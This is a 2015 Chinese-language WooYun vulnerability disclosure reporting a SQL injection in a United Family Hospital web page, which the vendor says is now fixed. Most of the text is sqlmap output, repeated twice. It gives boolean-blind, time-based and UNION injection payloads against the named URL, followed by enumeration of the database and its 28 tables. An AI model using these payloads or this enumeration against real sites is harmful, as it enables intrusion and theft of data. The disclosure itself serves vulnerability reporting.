当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159072

漏洞标题:和睦家医院某站sql注入

相关厂商:ufh.com.cn

漏洞作者: kernux

提交时间:2015-12-07 17:18

修复时间:2015-12-21 08:38

公开时间:2015-12-21 08:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-07: 细节已通知厂商并且等待厂商处理中
2015-12-08: 厂商已经确认,细节仅向厂商公开
2015-12-18: 细节向核心白帽子及相关领域专家公开
2015-12-21: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

rt

详细说明:

从这开始:http://life.ufh.com.cn/guidelist.php?g_id=11
g_id参数存在sql注入
sqlmap identified the following injection point(s) with a total of 54 HTTP(s) requests:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=11 AND 7545=7545
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=11 AND (SELECT * FROM (SELECT(SLEEP(5)))VGku)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: g_id=-9239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x4d4b767a645354417a72,0x7178787171),NULL,NULL,NULL,NULL,NULL,NULL--
---
back-end DBMS: MySQL 5.0.12
available databases [2]:
[*] information_schema
[*] life_wp
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=11 AND 7545=7545
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=11 AND (SELECT * FROM (SELECT(SLEEP(5)))VGku)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: g_id=-9239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x4d4b767a645354417a72,0x7178787171),NULL,NULL,NULL,NULL,NULL,NULL--
---
back-end DBMS: MySQL 5.0.12
available databases [2]:
[*] information_schema
[*] life_wp
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=11 AND 7545=7545
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=11 AND (SELECT * FROM (SELECT(SLEEP(5)))VGku)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: g_id=-9239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x4d4b767a645354417a72,0x7178787171),NULL,NULL,NULL,NULL,NULL,NULL--
---
back-end DBMS: MySQL 5.0.12
Database: life_wp
[28 tables]
+-----------------------+
| wp_activity |
| wp_apphos |
| wp_apply |
| wp_channel |
| wp_commentmeta |
| wp_comments |
| wp_forgetpwd |
| wp_guide |
| wp_home |
| wp_hospital |
| wp_links |
| wp_member |
| wp_options |
| wp_order |
| wp_pack |
| wp_pactivity |
| wp_personnel |
| wp_postmeta |
| wp_posts |
| wp_prize |
| wp_sign |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_terms |
| wp_usermeta |
| wp_users |
| wp_wechat |
| wp_winning |

漏洞证明:

从这开始:http://life.ufh.com.cn/guidelist.php?g_id=11
g_id参数存在sql注入
sqlmap identified the following injection point(s) with a total of 54 HTTP(s) requests:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=11 AND 7545=7545
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=11 AND (SELECT * FROM (SELECT(SLEEP(5)))VGku)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: g_id=-9239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x4d4b767a645354417a72,0x7178787171),NULL,NULL,NULL,NULL,NULL,NULL--
---
back-end DBMS: MySQL 5.0.12
available databases [2]:
[*] information_schema
[*] life_wp
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=11 AND 7545=7545
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=11 AND (SELECT * FROM (SELECT(SLEEP(5)))VGku)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: g_id=-9239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x4d4b767a645354417a72,0x7178787171),NULL,NULL,NULL,NULL,NULL,NULL--
---
back-end DBMS: MySQL 5.0.12
available databases [2]:
[*] information_schema
[*] life_wp
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=11 AND 7545=7545
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=11 AND (SELECT * FROM (SELECT(SLEEP(5)))VGku)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: g_id=-9239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x4d4b767a645354417a72,0x7178787171),NULL,NULL,NULL,NULL,NULL,NULL--
---
back-end DBMS: MySQL 5.0.12
Database: life_wp
[28 tables]
+-----------------------+
| wp_activity |
| wp_apphos |
| wp_apply |
| wp_channel |
| wp_commentmeta |
| wp_comments |
| wp_forgetpwd |
| wp_guide |
| wp_home |
| wp_hospital |
| wp_links |
| wp_member |
| wp_options |
| wp_order |
| wp_pack |
| wp_pactivity |
| wp_personnel |
| wp_postmeta |
| wp_posts |
| wp_prize |
| wp_sign |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_terms |
| wp_usermeta |
| wp_users |
| wp_wechat |
| wp_winning |

修复方案:

过滤

版权声明:转载请注明来源 kernux@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-08 08:32

厂商回复:

医院官方主页,篡改后会对影响医院声誉

最新状态:

2015-12-21:供应商已修复此漏洞